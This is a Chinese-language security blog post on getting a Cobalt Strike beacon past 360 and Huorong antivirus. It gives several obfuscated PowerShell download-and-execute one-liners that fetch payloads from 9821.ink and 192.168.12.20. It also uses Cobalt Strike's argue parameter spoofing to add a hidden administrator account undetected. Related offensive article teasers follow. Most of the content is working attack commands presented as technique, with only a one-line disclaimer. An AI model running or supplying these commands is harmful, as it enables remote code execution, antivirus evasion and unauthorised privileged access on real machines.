powershell对抗AV技巧

VSole2021-06-30 22:32:22

免杀上线一直是经久不衰的话题,今天介绍利用powershell上线来绕过360与火绒的防护,并介绍绕过添加用户的拦截的方式,我们的实验环境是一台装了360全家桶与火绒的win7。

一.powershell免杀绕过360与火绒上线:

1.powershell免杀绕过思路参考:

powershell 命令混淆

原始payload
Invoke-Expression (New-Object Net.WebClient).DownloadString('http:9821.ink/xxx')
安全客
将http分开+号连接
Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tp://9821.ink/xxx")
变量代替
IEX $wc=New-Object Net.WebClient;$wc.DownloadString('h'+'ttp://9821.ink/xxx')
转义符号加在其他字符前不影响字符的意思,避免在0,a,b,f,n,r,t,v的小写字母前出现即可。
Invoke-Expression (New-Object Net.WebClient)."Down`loadString"('h'+'ttp://9821.ink/xxx')
同样可以使用在Net.Webclient上
Invoke-Expression (New-Object "`Ne`T.`Web`Cli`ent")."Down`l`oadString"('h'+'ttp://9821.ink/xxx')
freebuf
powershell -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://9821.ink/xxx'')'.Replace('123','adString');IEX ($c1+$c2)"
powershell "$a1='IEX ((new-object net.webclient).downl';$a2='oadstring(''http://9821.ink/xxx''))';$a3="$a1,$a2";IEX(-join $a3)"
chabug #别名
powershell set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('http://9821.ink/xxx')
综合起来 就成了最开始的上线命令:
powershell set-alias -name kaspersky -value Invoke-Expression;"$a1='kaspersky ((new-object net.webclient).downl';$a2='oadstring(''http://9821.ink/xxx''))';$a3=$a1,$a2;kaspersky(-join $a3)"

那么看了一些powershell的绕过上线cs思路,我们来执行修改命令达到上线

首先还是最原始的生成常见的方式来上线cs:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.12.20:80/a'))"

我们可以看到,此时火绒发现了系统调用了powershell,立刻进行了拦截,那么我们就要修改powershell上线的命令,进行绕过达到上线。

原命令:powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.12.20:80/a'))"

我们可以利用powershell的特性,利用别名、分割、替换变量等多个方式来绕过检测。

修改后的命令:

powershell -c "IEX(New-Object Net.WebClient)."DownloadString"('ht‘+’tp://192.168.12.20:80/a')"

可以看到修改后的命令,对执行的命令进行替换,并将http分开+号连接的思路,便可以达到免杀上线效果。

360与火绒均无报警,CS已经上线,成功绕过杀软达到上线目的。

二.绕过杀软添加用户

在内网渗透过程中,有些时候需要往目标机器添加用户,来进行所需操作,但是添加用户杀软非常敏感,都会进行拦截。

为了突出文章目的,我们直接使用cs自带的提权EXP来达到system权限。

我们直接在cs进行用户添加。可以看到遭到了360的拦截:

beacon> shell net user tubai e2e2@wqw /add

此时的思路可以使用cs中argue参数绕过杀软添加用户:

#参数污染net1 argue net1 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

#查看污染的参数 argue

#用污染的net1执行敏感操作 execute net1 user tubai ddsd@123 /add

此时shell net user发现,tubai用户已经添加进去,且360与火绒均未拦截

我们再将tubai用户加入到administrator组

beacon> execute net1 localgroup administrators tubai /add

此时我们shell net user tubai ,发现已经成功加入administrators组中

至此便绕过了360与火绒对添加用户的拦截。

总结

powershell的绕过方式除了命令混淆还有很多,免杀的目的就是围绕你的目标机器进行实施的,并非要追求免杀率,过VT,只要过了你的目标机就好。还有,如无特殊需要,渗透过程中还是不添加用户为妙,毕竟日志都有记录,动静也不小。

参考:

http://www.0x3.biz/archives/837.html

https://xz.aliyun.com/t/7903#toc-0

安全措施:

各位要对powershell动作进行管控,勿用技术做未授权的事情!有兴趣可以关注公众号:花指令安全实验室,我们一起探讨学习交流!

powershell免杀
本作品采用《CC 协议》,转载必须注明作者和本文链接
顾名思义,无需将恶意文件传到目标服务器/机器上,直接利用powershell的特性加载到内存执行。为了在红队行动中更隐蔽的实施攻击以及横向移动,同时还可以解决目标不出网只能通过dns上线时的棘手问题,利用powershell可以避免一行行echo。
powershell之路
2021-07-12 21:46:00
Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能
目录简单的恶意文档cs生成的宏分析思路加密混淆诱导点击项目推荐总结简单的恶意文档一般使用流程:第一步,生
powershell对抗AV技巧
2021-06-30 22:32:22
今天介绍利用powershell上线来绕过AV防护,并介绍绕过添加用户的拦截的方式。
通常我们在渗透过程中从外围打点进入内网后拿到主机提升到system权限,这一台主机就已经拿下。但是我们进入内网的目标还是拿下尽可能多的主机,这时候选择横向移动的方法就尤为重要。今天就对一些常用的横向手法进行一个总结,有不足之处欢迎师傅们进行斧正。
前言某次小型红蓝,直接丢过来几个登陆框,定点打。环境介绍全部都是shiro框架。过程爆破用户名密码,都是加密的。查看网页源代码的时候,发现其中一个利用的DES-ECB的单层加密。果断生成大量的字段。我的超大字典,都没有爆破出一个有效的账号。一上午毫无收获,陷入沉思。用上午在A系统登陆显示没有应用权限的账号,但是不会自动解压,没有找到可以利用的点。在目标机器部署了cs。
0X01起源在攻防演练中通过运行恶意代码连接C2是最常用的手段,但是由于对抗程度的提升。以360、天擎为代表的毒软件针对信任链的检测,已经变得愈来愈成熟。这里我们可以理解为,攻击者通过利用"白加黑"这种攻击方法。当攻击者通过社工钓鱼的手段,使得目标下载恶意的文件到目标自己的计算机上,并点击运行白文件时,该文件会在运行时执行恶意DLL。
时间线11 月 10 日,我们发现了一次多阶段 PowerShell 攻击,该攻击使用冒充哈萨克斯坦卫生部的
好久没写实战文章了,过年过的手都麻了,一天不渗透我是浑身难受。正想找几个站泄泄火呢。刚好就接到了领导的任务,需要我去参加某集团组织的攻防演练。过程即简单也曲折,好在成功绕过waf,且横向渗透取得办公区运维机权限,最终取得工控生产区服务器权限,完成渗透目标,skr~skr~。
VSole
网络安全专家